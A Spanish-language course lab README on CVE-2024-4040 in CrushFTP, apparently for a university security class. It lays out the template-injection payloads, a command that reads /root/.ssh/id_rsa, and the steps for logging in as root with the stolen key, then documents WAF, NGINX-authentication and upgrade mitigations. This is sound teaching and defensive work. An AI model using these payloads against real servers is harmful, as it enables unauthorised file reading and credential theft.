
Prueba de concepto para CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) en un entorno de laboratorio controlado CS443 - solo para uso educativo/autorizado.
Solo para uso educativo y de laboratorio autorizado.
CS443 Seguridad de Software y Sistemas — entorno Docker local controlado.
| Campo | Detalle |
|---|---|
| CVE | CVE-2024-4040 |
| Software afectado | CrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch) |
| Tipo de vulnerabilidad | Server-Side Template Injection (SSTI) → Lectura de archivos local no autenticada |
| Puntuación CVSS | 9.8 Crítica |
| Impacto | Los atacantes no autenticados pueden leer archivos arbitrarios del sistema de archivos del servidor |
El WebInterface de CrushFTP evalúa expresiones de plantilla en el parámetro path del comando zip sin sanitización. Un atacante no autenticado puede obtener cookies de sesión anónimas y luego usarlas para pasar cargas útiles de plantillas ({working_dir}, <INCLUDE>…</INCLUDE>) que el servidor evalúa y devuelve, permitiendo la lectura de archivos arbitrarios en todo el host.
pip install requests rich
| Script | Fuente | Propósito |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit completo de SSTI/LFI — robo de sesión, lectura arbitraria de archivos |
recon.py | Este repositorio | Detección de versión, sondeo SSTI en vivo, confirmación de vulnerabilidad |
docker-compose up -d
Espere aproximadamente 10 segundos para que CrushFTP se inicialice completamente antes de ejecutar los scripts. No se requiere un paso de reconocimiento separado aquí porque crushed.py ya verifica si la explotación es posible durante la ejecución.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
El script hará lo siguiente:
CrushAuth / currentAuth desde /WebInterface/{working_dir} para resolver el directorio de instalación de CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> para leer el archivo objetivoCopiar el bloque de la clave privada de la salida (todo desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
Un WAF actúa como un proxy inverso que inspecciona el tráfico HTTP/S entrante antes de que llegue a CrushFTP. Usando NGINX con ModSecurity, las solicitudes maliciosas que explotan CVE-2024-4040 se bloquean en el borde de la red sin modificar CrushFTP.
../, %2e%2e) en las URI de solicitud y cookiesUsar Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Usar Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 es explotable sin autenticación. En este laboratorio, el acceso anónimo se bloquea en la capa de NGINX al requerir un encabezado Authorization antes de enviar rutas sensibles a CrushFTP.
crushed.py dependen del acceso no autenticado; las solicitudes sin credenciales son rechazadas con 401/WebInterface/ y / son denegadas a menos que estén presentes datos de autenticaciónservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
Actualizar a CrushFTP 11 es la solución más efectiva y permanente. El parche agrega una validación de entrada estricta en la resolución de rutas VFS, eliminando la causa raíz de CVE-2024-4040.
crushed.py ya no funcionan contra la versión 11Actualice su Dockerfile para usar CrushFTP 11:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
Reconstruya el contenedor:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error
| Componente | Valor |
|---|
| Objetivo | http://localhost:8080 |
| Versión base de CrushFTP para PoC | 10.3.0 (intencionalmente vulnerable) |
| Entorno de prueba de Mitigación 3 | Contenedor separado ejecutando CrushFTP 11.x (rama parcheada) |
| Puerto SSH (contenedor) | 2222 → 22 |
| Credenciales de administrador | admin / admin |
| Runtime del contenedor | Docker (Compose) |
| Problema | Ubicación | Detalles |
|---|
| Dependencia faltante | Líneas 6–9 | Requiere pip install rich antes de ejecutar |
| Análisis XML frágil | Líneas 86, 140 | Falla en respuestas del servidor que no son XML; sin manejo de ParseError |
| Expresión regular de token demasiado estricta | Líneas 160–161 | El patrón CrushAuth=…; currentAuth=… puede no coincidir con todos los formatos de sessions.obj |
| Solo HTTP 404 | Línea 53 | La captura de cookies solo tiene éxito con 404; pasa silenciosamente en otros códigos de estado |